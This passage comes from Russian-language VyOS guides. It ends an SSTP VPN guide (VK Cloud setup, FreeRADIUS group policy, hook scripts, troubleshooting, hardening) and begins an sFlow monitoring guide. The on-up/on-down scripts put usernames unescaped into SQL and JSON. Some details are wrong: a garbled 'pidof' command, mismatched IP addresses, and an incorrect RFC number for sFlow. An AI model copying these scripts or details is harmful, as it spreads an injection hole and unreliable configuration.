│  │  └──────────────────────────────────────────────────┘    │  │
│  └───────────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────────┘
```

#### Конфигурация VyOS на VK Cloud

```bash
configure

# Интерфейсы
set interfaces ethernet eth0 address 'dhcp'
set interfaces ethernet eth0 description 'WAN - VK Cloud External'

set interfaces ethernet eth1 address '192.168.0.1/16'
set interfaces ethernet eth1 description 'LAN - Corporate Network'

# PKI - используем Let's Encrypt для публичного домена
# (предварительно получен сертификат через certbot)
set pki ca LetsEncrypt certificate "-----BEGIN CERTIFICATE-----
[Let's Encrypt Chain Certificate]
-----END CERTIFICATE-----"

set pki certificate SSTP-VKCloud certificate "-----BEGIN CERTIFICATE-----
[Server Certificate for vpn.company.cloud]
-----END CERTIFICATE-----"

set pki certificate SSTP-VKCloud private key "-----BEGIN PRIVATE KEY-----
[Private Key]
-----END PRIVATE KEY-----"

# SSTP сервер
set vpn sstp ssl ca-certificate 'LetsEncrypt'
set vpn sstp ssl certificate 'SSTP-VKCloud'

# RADIUS аутентификация с FreeRADIUS
set vpn sstp authentication mode 'radius'
set vpn sstp authentication radius server 192.168.0.50 key 'VKCloudRadius2025Secret'
set vpn sstp authentication radius server 192.168.0.50 port '1812'
set vpn sstp authentication radius server 192.168.0.50 acct-port '1813'
set vpn sstp authentication radius timeout '5'
set vpn sstp authentication radius acct-timeout '3'
set vpn sstp authentication radius max-try '3'

# Динамическая авторизация для изменения параметров сессии
set vpn sstp authentication radius dynamic-author server '192.168.0.50'
set vpn sstp authentication radius dynamic-author key 'DynamicAuthKey2025'

# IP пулы для разных групп пользователей
set vpn sstp client-ip-pool ADMINS range '10.50.1.10-10.50.1.30'
set vpn sstp client-ip-pool EMPLOYEES range '10.50.2.10-10.50.2.100'
set vpn sstp client-ip-pool CONTRACTORS range '10.50.3.10-10.50.3.50'

set vpn sstp gateway-address '10.50.0.1'

# DNS серверы (внутренние)
set vpn sstp name-server '192.168.0.10'
set vpn sstp name-server '192.168.0.11'

# PPP параметры
set vpn sstp ppp-options mtu '1420'
set vpn sstp ppp-options lcp-echo-interval '30'
set vpn sstp ppp-options lcp-echo-failure '4'
set vpn sstp ppp-options disable-ccp

# Безопасная аутентификация
set vpn sstp authentication protocols 'mschap-v2'

# Расширенные скрипты для логирования и интеграции
set vpn sstp extended-scripts on-up '/config/scripts/sstp-on-up.sh'
set vpn sstp extended-scripts on-down '/config/scripts/sstp-on-down.sh'

# Файрвол
set firewall name WAN_LOCAL rule 110 action 'accept'
set firewall name WAN_LOCAL rule 110 protocol 'tcp'
set firewall name WAN_LOCAL rule 110 destination port '443'
set firewall name WAN_LOCAL rule 110 description 'SSTP VPN'
set firewall name WAN_LOCAL rule 110 recent count '4'
set firewall name WAN_LOCAL rule 110 recent time 'minute'
set firewall name WAN_LOCAL rule 110 state new 'enable'

set firewall interface eth0 local name 'WAN_LOCAL'

# NAT для VPN клиентов
set nat source rule 200 outbound-interface 'eth1'
set nat source rule 200 source address '10.50.0.0/16'
set nat source rule 200 translation address 'masquerade'

# Маршрутизация
set protocols static route 192.168.0.0/16 next-hop 192.168.0.1

# SNMP
set vpn sstp snmp master-agent

# Системное логирование
set system syslog global facility all level 'info'
set system syslog host 192.168.0.60 facility all level 'info'
set system syslog host 192.168.0.60 port '514'

commit
save
exit
```

#### Конфигурация FreeRADIUS для групповой политики

Файл `/etc/freeradius/3.0/mods-config/files/authorize`:

```
# Администраторы - полный доступ, высокая скорость
DEFAULT Group == "VPN-Admins", Auth-Type := LDAP
    Framed-Pool = "ADMINS",
    Framed-IP-Netmask = 255.255.255.0,
    Framed-Route = "192.168.0.0/16 192.168.0.1",
    Session-Timeout = 43200,
    Idle-Timeout = 1800

# Сотрудники - стандартный доступ, средняя скорость
DEFAULT Group == "VPN-Employees", Auth-Type := LDAP
    Framed-Pool = "EMPLOYEES",
    Framed-IP-Netmask = 255.255.255.0,
    Framed-Route = "192.168.20.0/24 192.168.0.1",
    Framed-Route = "192.168.30.0/24 192.168.0.1",
    Session-Timeout = 28800,
    Idle-Timeout = 900,
    Filter-Id = "rate-limit=50000/25000"

# Подрядчики - ограниченный доступ, низкая скорость
DEFAULT Group == "VPN-Contractors", Auth-Type := LDAP
    Framed-Pool = "CONTRACTORS",
    Framed-IP-Netmask = 255.255.255.0,
    Framed-Route = "192.168.100.0/24 192.168.0.1",
    Session-Timeout = 14400,
    Idle-Timeout = 600,
    Filter-Id = "rate-limit=10000/5000"
```

#### Скрипт on-up для интеграции с системами мониторинга

Создать `/config/scripts/sstp-on-up.sh`:

```bash
#!/bin/bash
# SSTP on-up integration script for VK Cloud

# Переменные окружения от accel-ppp:
# PEERNAME, CALLING_SID, IFNAME, IPLOCAL, IPREMOTE

# Логирование в syslog
logger -t sstp-auth "User $PEERNAME connected from $CALLING_SID, assigned IP $IPREMOTE via $IFNAME"

# Отправка события в систему мониторинга
curl -s -X POST "http://192.168.0.60:9200/vpn-events/_doc" \
    -H "Content-Type: application/json" \
    -d "{
        \"timestamp\": \"$(date -Iseconds)\",
        \"event_type\": \"vpn_connect\",
        \"username\": \"$PEERNAME\",
        \"source_ip\": \"$CALLING_SID\",
        \"vpn_ip\": \"$IPREMOTE\",
        \"interface\": \"$IFNAME\"
    }"

# Обновление таблицы активных VPN сессий в БД
psql -h 192.168.0.70 -U vpnmonitor -d monitoring -c \
    "INSERT INTO active_vpn_sessions (username, source_ip, vpn_ip, interface, connected_at)
     VALUES ('$PEERNAME', '$CALLING_SID', '$IPREMOTE', '$IFNAME', NOW())"

# Проверка пользователя в whitelist и применение дополнительных политик
if grep -q "^$PEERNAME$" /config/scripts/vpn-privileged-users.txt; then
    # Добавить доступ к management подсети для привилегированных пользователей
    ip route add 192.168.10.0/24 via $IPREMOTE dev $IFNAME
    logger -t sstp-auth "Privileged access granted to $PEERNAME"
fi
```

#### Скрипт on-down для очистки

Создать `/config/scripts/sstp-on-down.sh`:

```bash
#!/bin/bash
# SSTP on-down cleanup script

logger -t sstp-auth "User $PEERNAME disconnected from $CALLING_SID, IP $IPREMOTE"

# Удаление из БД активных сессий
psql -h 192.168.0.70 -U vpnmonitor -d monitoring -c \
    "DELETE FROM active_vpn_sessions WHERE username='$PEERNAME' AND vpn_ip='$IPREMOTE'"

# Отправка события в мониторинг
curl -s -X POST "http://192.168.0.60:9200/vpn-events/_doc" \
    -H "Content-Type: application/json" \
    -d "{
        \"timestamp\": \"$(date -Iseconds)\",
        \"event_type\": \"vpn_disconnect\",
        \"username\": \"$PEERNAME\",
        \"source_ip\": \"$CALLING_SID\",
        \"vpn_ip\": \"$IPREMOTE\"
    }"
```

Сделать скрипты исполняемыми:

```bash
sudo chmod +x /config/scripts/sstp-on-up.sh
sudo chmod +x /config/scripts/sstp-on-down.sh
```

## Мониторинг и управление

### Просмотр активных сессий

```bash
# Показать все активные SSTP сессии
show vpn sstp-server sessions

# Пример вывода:
# ifname | username | ip            | calling-sid     | rate-limit | type | comp | state    | uptime
# -------+----------+---------------+-----------------+------------+------+------+----------+----------
# ppp0   | john     | 10.100.0.10   | 203.0.113.45    |            | sstp |      | active   | 00:15:32
# ppp1   | mary     | 10.100.0.11   | 198.51.100.22   | 20000/10000| sstp |      | active   | 01:05:18
# ppp2   | admin    | 10.100.0.5    | 192.0.2.100     |            | sstp |      | active   | 02:30:45
```

### Статистика сервера

```bash
# Показать общую статистику SSTP сервера
show vpn sstp-server statistics

# Пример вывода:
# uptime: 5d 12h 30m
# cpu: 2%
# mem(rss/virt): 45M/120M
# core:
#   mempool_allocated: 512Kb
#   mempool_available: 256Kb
#   thread_count: 4
#   thread_active: 1
#   context_count: 3
#   context_sleeping: 0
#   context_pending: 0
#   md_handler_count: 3
#   md_handler_pending: 0
# sessions:
#   starting: 0
#   active: 3
#   finishing: 0
```

### Принудительное отключение пользователя

```bash
# Отключить конкретную сессию по интерфейсу
sudo pkill -f "ppp0"

# Или использовать accel-cmd (если доступен)
sudo accel-cmd terminate if ppp0

# Отключить по имени пользователя
sudo accel-cmd terminate username john
```

### Просмотр детальной информации о сессии

```bash
# Информация о PPP интерфейсах
show interfaces ppp

# Детали конкретного интерфейса
show interfaces ppp ppp0

# Статистика трафика
show interfaces ppp ppp0 statistics
```

## Диагностика и устранение проблем

### Проверка состояния службы

```bash
# Проверить статус accel-ppp SSTP
sudo systemctl status accel-ppp@sstp

# Рестарт службы
sudo systemctl restart accel-ppp@sstp

# Остановка/запуск
sudo systemctl stop accel-ppp@sstp
sudo systemctl start accel-ppp@sstp
```

### Просмотр логов

```bash
# Логи SSTP сервера в реальном времени
sudo journalctl -u accel-ppp@sstp -f

# Логи за последние 100 строк
sudo journalctl -u accel-ppp@sstp -n 100

# Логи за текущую загрузку
sudo journalctl -u accel-ppp@sstp -b 0

# Логи с конкретного времени
sudo journalctl -u accel-ppp@sstp --since "2025-01-15 10:00:00"

# Логи за конкретный период
sudo journalctl -u accel-ppp@sstp --since "2025-01-15 10:00:00" --until "2025-01-15 12:00:00"

# Фильтрация по уровню важности
sudo journalctl -u accel-ppp@sstp -p err

# Экспорт логов в файл
sudo journalctl -u accel-ppp@sstp > /tmp/sstp-logs.txt
```

### Типичные проблемы и решения

#### Проблема 1: Клиент не может подключиться - ошибка сертификата

**Симптомы:**
- Windows клиент выдает ошибку "The remote connection was not made because the attempted VPN tunnels failed"
- В логах: "SSL handshake failed"

**Решение:**

```bash
# 1. Проверить что сертификат корректно установлен
show pki certificate SSTP-Server

# 2. Убедиться что Common Name или SAN соответствует адресу сервера
# 3. Проверить срок действия сертификата
show pki certificate SSTP-Server | grep Valid

# 4. Экспортировать CA сертификат для клиента
show pki ca VPN-CA certificate pem

# 5. Клиент должен установить CA сертификат в доверенные
```

#### Проблема 2: Подключение устанавливается, но нет доступа к внутренним ресурсам

**Симптомы:**
- VPN подключение показывает "Connected"
- Ping до gateway (10.100.0.1) работает
- Ping до внутренних ресурсов не работает

**Решение:**

```bash
# 1. Проверить NAT правила
show nat source rules

# 2. Проверить маршрутизацию
show ip route

# 3. Проверить файрвол правила
show firewall

# 4. Убедиться что IP forwarding включен (должен быть включен по умолчанию)
sysctl net.ipv4.ip_forward
# Должно быть: net.ipv4.ip_forward = 1

# 5. Проверить что клиенту назначены правильные маршруты
# На клиенте Windows: route print
```

#### Проблема 3: RADIUS аутентификация не работает

**Симптомы:**
- В логах: "RADIUS server not responding" или "RADIUS authentication failed"
- Локальные пользователи подключаются нормально

**Решение:**

```bash
# 1. Проверить доступность RADIUS сервера
ping 192.168.1.10

# 2. Проверить порты RADIUS
sudo nmap -p 1812,1813 192.168.1.10

# 3. Тест RADIUS через radtest (установить freeradius-utils)
sudo apt install freeradius-utils
radtest john password123 192.168.1.10 1812 RadiusSecret123

# 4. Проверить конфигурацию RADIUS в VyOS
show vpn sstp authentication radius

# 5. Проверить логи RADIUS сервера
# На FreeRADIUS сервере:
sudo journalctl -u freeradius -f

# 6. Включить debug режим на RADIUS (временно)
# На FreeRADIUS: sudo freeradius -X
```

#### Проблема 4: Низкая производительность VPN

**Симптомы:**
- Медленная скорость передачи данных
- Высокая задержка (latency)

**Решение:**

```bash
# 1. Проверить MTU настройки
show vpn sstp ppp-options

# 2. Попробовать разные значения MTU
configure
set vpn sstp ppp-options mtu 1380
commit
save

# 3. Отключить compression (если включен)
set vpn sstp ppp-options disable-ccp
commit

# 4. Проверить нагрузку на сервер
show system resources

# 5. Проверить bandwidth ограничения
show vpn sstp authentication local-users

# 6. Проверить сетевые интерфейсы
show interfaces ethernet
show interfaces ethernet eth0 statistics

# 7. Тест пропускной способности (на клиенте)
# Windows: Test-NetConnection -ComputerName 10.100.0.1 -DiagnoseRouting
```

#### Проблема 5: Сессии зависают (stale sessions)

**Симптомы:**
- Пользователь показывается как подключенный, но не может передавать данные
- Переподключение невозможно из-за существующей сессии

**Решение:**

```bash
# 1. Проверить LCP echo параметры
show vpn sstp ppp-options

# 2. Настроить более агрессивное определение мертвых сессий
configure
set vpn sstp ppp-options lcp-echo-interval 15
set vpn sstp ppp-options lcp-echo-failure 3
commit
save

# 3. Принудительно завершить зависшие сессии
sudo accel-cmd terminate username john

# 4. Перезапустить службу (крайняя мера)
sudo systemctl restart accel-ppp@sstp
```

#### Проблема 6: Порт 443 уже используется

**Симптомы:**
- Служба accel-ppp@sstp не запускается
- В логах: "bind: Address already in use"

**Решение:**

```bash
# 1. Проверить что слушает на порту 443
sudo netstat -tlnp | grep :443
# или
sudo lsof -i :443

# 2. Если это веб-сервер (nginx, apache), переместить HTTPS на другой порт
# Или настроить SSTP на другой порт
configure
set vpn sstp port 8443
commit
save

# 3. Обновить файрвол для нового порта
set firewall name WAN_LOCAL rule 110 destination port '8443'
commit

# ВАЖНО: Клиенты должны будут указывать vpn.example.com:8443
```

### Инструменты диагностики

#### Проверка SSL/TLS соединения

```bash
# Тест SSL соединения с сервера
openssl s_client -connect localhost:443 -showcerts

# Тест SSL соединения извне
openssl s_client -connect vpn.example.com:443 -showcerts

# Проверка сертификата
echo | openssl s_client -connect vpn.example.com:443 2>/dev/null | openssl x509 -noout -text
```

#### Захват трафика для анализа

```bash
# Захват SSTP трафика на WAN интерфейсе
sudo tcpdump -i eth0 -w /tmp/sstp-traffic.pcap port 443

# Захват PPP трафика
sudo tcpdump -i ppp0 -w /tmp/ppp-traffic.pcap

# Анализ в реальном времени
sudo tcpdump -i eth0 -n port 443 -v
```

#### Мониторинг системных ресурсов

```bash
# Использование CPU и памяти accel-ppp
ps aux | grep accel-ppp

# Детальная статистика процесса
top -p $(pидof accel-ppp)

# Системные ресурсы VyOS
show system resources
```

## Рекомендации по безопасности

### 1. Использование надежных сертификатов

```bash
# Всегда используйте сертификаты от доверенных CA для продакшн
# Избегайте самоподписанных сертификатов для публичных VPN
# Регулярно обновляйте сертификаты (Let's Encrypt - каждые 60 дней)

# Используйте сильные ключи (минимум 2048-bit RSA или ECC)
generate pki ca install VPN-CA key-size 4096

# Добавляйте Subject Alternative Names
generate pki certificate sign VPN-CA install SSTP-Server \
    subject-alt-name "vpn.example.com" \
    subject-alt-name "sstp.example.com"
```

### 2. Безопасная аутентификация

```bash
configure

# Используйте только MSCHAPv2
set vpn sstp authentication protocols 'mschap-v2'

# Избегайте PAP и CHAP
delete vpn sstp authentication protocols 'pap'
delete vpn sstp authentication protocols 'chap'

# Интегрируйтесь с RADIUS/AD для централизованного управления
set vpn sstp authentication mode 'radius'

# Включите accounting для аудита
set vpn sstp authentication radius acct-port '1813'

commit
save
```

### 3. Ограничение доступа

```bash
configure

# Ограничьте количество одновременных подключений
set vpn sstp max-concurrent-sessions '50'

# Используйте таймауты сессий
set vpn sstp ppp-options session-timeout '28800'  # 8 часов

# Файрвол с rate limiting против brute-force
set firewall name WAN_LOCAL rule 110 recent count '5'
set firewall name WAN_LOCAL rule 110 recent time 'minute'

# Географическая фильтрация (если применимо)
# set firewall name WAN_LOCAL rule 110 source geoip country-code 'RU'

commit
save
```

### 4. Сегментация сети

```bash
configure

# Используйте отдельные IP подсети для VPN
set vpn sstp client-ip-pool VPN range '10.100.0.0-10.100.255.254'

# Применяйте файрвол правила для VPN трафика
set firewall name VPN_TO_LAN default-action 'drop'
set firewall name VPN_TO_LAN rule 10 action 'accept'
set firewall name VPN_TO_LAN rule 10 state established 'enable'
set firewall name VPN_TO_LAN rule 10 state related 'enable'

set firewall name VPN_TO_LAN rule 20 action 'accept'
set firewall name VPN_TO_LAN rule 20 destination address '192.168.1.0/24'
set firewall name VPN_TO_LAN rule 20 protocol 'tcp'
set firewall name VPN_TO_LAN rule 20 destination port '80,443'

# Запретить доступ к management подсети
set firewall name VPN_TO_LAN rule 100 action 'drop'
set firewall name VPN_TO_LAN rule 100 destination address '192.168.0.0/24'
set firewall name VPN_TO_LAN rule 100 log 'enable'

commit
save
```

### 5. Мониторинг и логирование

```bash
configure

# Включите подробное логирование
set vpn sstp log level '4'

# Отправляйте логи на централизованный syslog сервер
set system syslog host 192.168.1.100 facility all level 'info'
set system syslog host 192.168.1.100 port '514'

# Включите SNMP для мониторинга
set vpn sstp snmp master-agent

# Используйте extended scripts для аудита
set vpn sstp extended-scripts on-up '/config/scripts/sstp-audit.sh'

commit
save
```

### 6. Регулярное обновление

```bash
# Регулярно обновляйте VyOS
add system image <new-version-url>
show system image
set system image default-boot <new-version>
reboot

# Мониторьте уязвимости accel-ppp
# https://github.com/accel-ppp/accel-ppp/security/advisories

# Автоматически обновляйте сертификаты Let's Encrypt
# Создайте cron задачу для certbot renew
```

### 7. Disaster Recovery

```bash
# Регулярно создавайте бэкапы конфигурации
save /config/backup-$(date +%Y%m%d).config

# Экспортируйте PKI сертификаты
show pki ca VPN-CA certificate pem > /tmp/ca-backup.pem
show pki certificate SSTP-Server certificate pem > /tmp/cert-backup.pem

# Документируйте конфигурацию
show configuration commands > /tmp/vyos-config-backup.txt
```

### 8. Защита от DDoS

```bash
configure

# SYN flood защита на уровне системы
set firewall syn-flood protection enable

# Ограничение новых соединений
set firewall name WAN_LOCAL rule 110 protocol 'tcp'
set firewall name WAN_LOCAL rule 110 destination port '443'
set firewall name WAN_LOCAL rule 110 connection-limit limit '20'
set firewall name WAN_LOCAL rule 110 connection-limit rate 'minute'

# Connection tracking
set system conntrack expect-table-size '2048'
set system conntrack hash-size '32768'
set system conntrack table-size '262144'

commit
save
```

## Best Practices

### Планирование емкости

1. **Расчет необходимых ресурсов**:
   - RAM: 100-200 MB на 100 одновременных подключений
   - CPU: 1 core на 50-100 подключений (зависит от трафика)
   - Bandwidth: планируйте с запасом 30-50%
   - IP адреса: количество пользователей + 20% резерв

2. **Масштабирование**:
   - До 100 пользователей: одна VyOS VM (2 vCPU, 2GB RAM)
   - 100-500 пользователей: VyOS VM (4 vCPU, 4-8GB RAM)
   - 500+ пользователей: рассмотрите load balancing

### Документирование

```bash
# Всегда добавляйте описания к конфигурации
configure
set vpn sstp description 'SSTP VPN Server for remote employees'
set vpn sstp client-ip-pool EMPLOYEES description 'IP pool for regular employees'
set firewall name WAN_LOCAL rule 110 description 'Allow SSTP VPN from Internet'
commit
```

### Тестирование

1. **Перед деплоем в продакшн**:
   - Протестируйте с разных типов клиентов (Windows 10, 11, Server)
   - Проверьте работу через различные файрволы
   - Нагрузочное тестирование с ожидаемым количеством пользователей
   - Failover сценарии (отказ RADIUS, переполнение IP пула)

2. **Регулярные проверки**:
   - Еженедельно проверяйте логи на ошибки
   - Ежемесячно тестируйте процедуры восстановления
   - Ежеквартально обновляйте сертификаты и патчи

### Change Management

```bash
# Всегда создавайте бэкап перед изменениями
configure
save /config/backup-before-change-$(date +%Y%m%d-%H%M).config

# Вносите изменения
# ... ваши изменения ...

commit
# Проверьте что все работает
# Если есть проблемы:
rollback 1

# Если все в порядке:
save
```

## Заключение

SSTP VPN на VyOS предоставляет надежное и безопасное решение для удаленного доступа, особенно в средах с ограничительными файрволами. Использование стандартного HTTPS порта (443) обеспечивает максимальную совместимость и проходимость через NAT и файрволы.

### Ключевые преимущества

- Простота развертывания и управления
- Встроенная поддержка в Windows без дополнительного ПО
- Надежная безопасность через SSL/TLS
- Гибкая интеграция с RADIUS и Active Directory
- Подходит для корпоративных и облачных развертываний

### Когда использовать SSTP

- Удаленные сотрудники за строгими корпоративными файрволами
- Windows-ориентированные организации
- Необходима простая настройка на стороне клиента
- Требуется совместимость с существующей PKI инфраструктурой

### Альтернативы

Рассмотрите другие VPN протоколы если:
- **WireGuard**: нужна максимальная производительность и современный протокол
- **OpenVPN**: требуется поддержка всех платформ и открытый протокол
- **IKEv2/IPsec**: нужна встроенная поддержка мобильных устройств (iOS/Android)
- **L2TP/IPsec**: требуется совместимость с legacy системами

### Дополнительные ресурсы

- Официальная документация VyOS: https://docs.vyos.io/
- Документация accel-ppp: https://accel-ppp.org/
- SSTP спецификация: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp/
- VyOS Community: https://forum.vyos.io/

---

**Документ подготовлен**: 2025-01-15
**Версия**: 1.0
**Совместимость**: VyOS 1.3.x, 1.4.x, 1.5.x
**Автор**: OpenNix Team


---

# sFlow - Мониторинг сетевого трафика

Source: https://opennix.org/docs/vyos/system/vyos-sflow/


## Обзор

sFlow (Sampled Flow)  - это отраслевой стандарт технологии мониторинга сетевого трафика, основанный на методе статистической выборки пакетов. В отличие от NetFlow, который анализирует каждый поток, sFlow производит выборку случайных пакетов, что обеспечивает более низкую нагрузку на маршрутизатор при сохранении точности статистики.

### Основные характеристики sFlow

**Принцип работы:**
- Статистическая выборка пакетов (например, 1 из 1000)
- Отправка образцов пакетов на коллектор
- Опрос интерфейсных счетчиков (counters polling)
- Поддержка IPv4 и IPv6
- Экспорт в реальном времени

**Преимущества sFlow:**
- Низкая нагрузка на CPU и память маршрутизатора
- Масштабируемость для высокоскоростных каналов
- Детальная информация о содержимом пакетов
- Стандартизированный формат данных (RFC 3967)
- Поддержка мультивендорных сред

**Применение:**
- Мониторинг производительности сети
- Анализ трафика и поведения приложений
- Обнаружение DDoS-атак и аномалий
- Планирование емкости каналов
- Устранение неполадок сети
- Учет использования полосы пропускания

### sFlow vs NetFlow

| Характеристика | sFlow | NetFlow |
|---------------|-------|---------|
| Метод сбора | Статистическая выборка пакетов | Анализ всех потоков |
| Нагрузка на CPU | Низкая | Средняя/Высокая |
| Использование памяти | Минимальное | Значительное |
| Масштабируемость | Отлично для 10G+ | Ограничена на высоких скоростях |
| Детализация | Образцы пакетов + счетчики | Агрегированные потоки |
| Латентность экспорта | Реальное время | Задержка до окончания потока |
| Стандартизация | RFC 3967, открытый стандарт | Cisco proprietary, IPFIX (стандарт) |
| Поддержка L2 | Да | Ограниченная |

### Архитектура sFlow

```
┌─────────────────────────────────────────────────────────┐
│                     VyOS Router                         │
│                                                         │
│  ┌────────────┐    ┌──────────────┐   ┌─────────────┐ │
│  │ Interface  │───>│ sFlow Agent  │──>│ sFlow       │ │
│  │ eth0       │    │              │   │ Exporter    │ │
│  └────────────┘    │ - Sampling   │   └──────┬──────┘ │
│                    │ - Polling    │          │         │
│  ┌────────────┐    │              │          │         │
│  │ Interface  │───>│              │          │         │
│  │ eth1       │    └──────────────┘          │         │
│  └────────────┘                              │         │
│                                               │ UDP 6343│
└───────────────────────────────────────────────┼─────────┘
                                                │
                                                v
                                    ┌───────────────────┐
                                    │ sFlow Collector   │
                                    │                   │
                                    │ - sFlowTrend      │
                                    │ - ntopng          │
                                    │ - Prometheus      │
                                    └───────────────────┘
```

### Компоненты sFlow

1. **sFlow Agent**  - программный агент на маршрутизаторе, выполняющий выборку и экспорт
2. **Sampling**  - механизм статистической выборки пакетов
3. **Counter Polling**  - периодический сбор статистики интерфейсов
4. **sFlow Collector**  - сервер, принимающий и анализирующий данные sFlow
5. **Analyzer**  - инструмент визуализации и анализа данных

## Реализация в VyOS

VyOS использует **hsflowd** (Host sFlow Daemon) для реализации функциональности sFlow. Это легковесный и эффективный агент, поддерживающий стандарт sFlow версии 5.

**Поддерживаемые возможности:**
- Конфигурация агента sFlow
- Выбор интерфейсов для мониторинга
- Настройка частоты выборки (sampling rate)
- Настройка интервала опроса счетчиков (polling interval)
- Поддержка нескольких коллекторов
- IPv4 и IPv6 коллекторы
- Мониторинг потерянных пакетов (drop monitor)
- Выборка исходящего трафика (egress sampling)

## Базовая конфигурация

### Минимальная настройка

Для работы sFlow необходимо настроить минимум три параметра:

```bash
# Адрес агента sFlow (источник экспорта)
set system sflow agent-address '192.168.1.1'

# Интерфейс для мониторинга
set system sflow interface 'eth0'

# Коллектор sFlow
set system sflow server 192.168.100.10 port 6343

# Применить конфигурацию
commit
save
```

### Полная конфигурация с параметрами

```bash
# Настройка агента sFlow
set system sflow agent-address '10.0.0.1'
set system sflow agent-interface 'eth0'

# Интерфейсы для мониторинга
set system sflow interface 'eth0'
set system sflow interface 'eth1'
set system sflow interface 'eth2'

# Параметры выборки
set system sflow sampling-rate '2000'
set system sflow polling '20'

# Коллекторы sFlow
set system sflow server 10.100.1.5 port 6343
set system sflow server 10.100.1.6 port 6343

# Дополнительные параметры
set system sflow drop-monitor-limit '100'
set system sflow enable-egress

# Применить конфигурацию
commit
save
```

## Детальная настройка параметров

### Конфигурация агента

#### Адрес агента (Agent Address)

Адрес агента указывает IP-адрес, который будет использоваться как источник в экспортируемых sFlow датаграммах:

```bash
set system sflow agent-address '192.168.1.1'
```

**Рекомендации:**
- Используйте IP-адрес интерфейса управления
- Адрес должен быть доступен с коллектора
- Для идентификации источника в мультироутерной среде

#### Интерфейс агента (Agent Interface)

Альтернатива указанию фиксированного IP-адреса  - выбор интерфейса:

```bash
set system sflow agent-interface 'eth0'
```

Агент будет использовать первичный IP-адрес указанного интерфейса. Полезно при динамической адресации.

### Выбор интерфейсов для мониторинга

Указывайте все интерфейсы, трафик которых нужно мониторить:

```bash
# Физические интерфейсы
set system sflow interface 'eth0'
set system sflow interface 'eth1'
set system sflow interface 'eth2'
set system sflow interface 'eth3'

# VLAN интерфейсы
set system sflow interface 'eth0.100'
set system sflow interface 'eth0.200'

# Bond интерфейсы
set system sflow interface 'bond0'

# Туннельные интерфейсы
set system sflow interface 'tun0'
set system sflow interface 'wg0'
```

**Важно:**
- Каждый интерфейс добавляется отдельной командой
- Можно мониторить физические, VLAN, bond, туннельные интерфейсы
- Интерфейс должен быть активен (up)

### Частота выборки (Sampling Rate)

Sampling rate определяет, какой пакет из N будет выбран для анализа:

```bash
set system sflow sampling-rate '1000'
```

**Значение по умолчанию:** 1000 (каждый тысячный пакет)

**Рекомендации по выбору sampling rate:**

| Скорость канала | Рекомендуемый sampling rate | Обоснование |
|----------------|----------------------------|-------------|
| 100 Mbps | 500-1000 | Низкая скорость, можно увеличить точность |
| 1 Gbps | 1000-2000 | Стандартное значение |
| 10 Gbps | 5000-10000 | Высокая нагрузка, снижаем частоту |
| 40 Gbps | 20000-40000 | Очень высокая скорость |
| 100 Gbps | 50000-100000 | Максимальная оптимизация |

**Баланс точности и производительности:**

```bash
# Высокая точность, повышенная нагрузка (малый трафик)
set system sflow sampling-rate '500'

# Стандартная точность (обычный случай)
set system sflow sampling-rate '1000'

# Оптимизация для высокоскоростных каналов
set system sflow sampling-rate '5000'

# Минимальная нагрузка (очень высокий трафик)
set system sflow sampling-rate '10000'
```

**Формула расчета:**
```
Sampling Rate = Interface Speed (Mbps) / Desired Samples per Second
```

Пример: для канала 1 Gbps и желаемых 1000 образцов/сек:
```
Sampling Rate = 1000 Mbps / 1 Mbps/sample = 1000
```

### Интервал опроса (Polling Interval)

Polling interval определяет частоту сбора счетчиков интерфейсов (в секундах):

```bash
set system sflow polling '30'
```

**Значение по умолчанию:** 30 секунд

**Рекомендации:**

```bash
# Частый опрос для детального мониторинга
set system sflow polling '10'

# Стандартный интервал
set system sflow polling '30'

# Редкий опрос для снижения нагрузки
set system sflow polling '60'
```

**Что включают счетчики интерфейса:**
- Байты входящего/исходящего трафика
- Пакеты входящего/исходящего трафика
- Ошибки и потерянные пакеты
- Широковещательные и multicast пакеты
- Состояние интерфейса

**Выбор интервала:**
- **10-20 секунд:** Активный мониторинг, быстрое обнаружение проблем
- **30 секунд:** Стандартное значение, баланс точности и нагрузки
- **60+ секунд:** Длительный мониторинг трендов, минимальная нагрузка

### Конфигурация коллектора

#### Добавление коллектора

```bash
set system sflow server <IP-address> port <port>
```

**Стандартный порт sFlow:** 6343 (UDP)

**Примеры:**

```bash
# IPv4 коллектор
set system sflow server 192.168.100.10 port 6343

# IPv6 коллектор
set system sflow server 2001:db8::100 port 6343

# Альтернативный порт
set system sflow server 10.0.0.100 port 9999
```

#### Несколько коллекторов

sFlow поддерживает экспорт данных на несколько коллекторов одновременно:

```bash
# Основной коллектор (производственный мониторинг)
set system sflow server 10.100.1.5 port 6343

# Резервный коллектор
set system sflow server 10.100.1.6 port 6343

# Коллектор для анализа безопасности
set system sflow server 10.200.1.10 port 6343

# Тестовый коллектор
set system sflow server 192.168.1.100 port 6343
```

**Применение нескольких коллекторов:**
- Резервирование мониторинга
- Разделение по функциям (мониторинг, безопасность, биллинг)
- Интеграция с разными системами
- Тестирование без прерывания основного мониторинга

### Дополнительные параметры

#### Мониторинг потерянных пакетов (Drop Monitor)

Отслеживание пакетов, отброшенных ядром Linux:

```bash
set system sflow drop-monitor-limit '100'
```

Параметр задает максимальное количество отслеживаемых точек отбрасывания пакетов. Полезно для диагностики проблем с производительностью и конфигурацией.

**Причины отбрасывания пакетов:**
- Переполнение буферов
- Отсутствие маршрута
- Правила файрвола
- Ошибки пересылки
- Превышение MTU

#### Выборка исходящего трафика (Egress Sampling)

По умолчанию sFlow выполняет выборку только входящего трафика. Для включения выборки исходящего трафика:

```bash
set system sflow enable-egress
```

**Применение:**
- Полный учет трафика (ingress + egress)
- Анализ симметричности потоков
- Мониторинг QoS на выходе
- Обнаружение аномалий в исходящем трафике

**Внимание:** Удваивает количество экспортируемых образцов для транзитного трафика.

## Примеры конфигурации

### Пример 1: Базовый мониторинг офисного маршрутизатора

**Сценарий:** Офисный VyOS маршрутизатор с каналом 100 Mbps, экспорт sFlow на внутренний сервер мониторинга.

```bash
configure

# Агент sFlow на интерфейсе управления
set system sflow agent-address '192.168.1.1'

# Мониторинг WAN интерфейса
set system sflow interface 'eth0'

# Мониторинг LAN интерфейса
set system sflow interface 'eth1'

# Частая выборка для небольшого трафика
set system sflow sampling-rate '500'

# Стандартный интервал опроса
set system sflow polling '30'

# Коллектор на сервере мониторинга
set system sflow server 192.168.1.100 port 6343

commit
save
exit
```

### Пример 2: Датацентр с высокоскоростными каналами

**Сценарий:** VyOS как пограничный маршрутизатор датацентра с каналами 10 Gbps, экспорт на кластер коллекторов.

```bash
configure

# Агент на loopback интерфейсе для стабильности
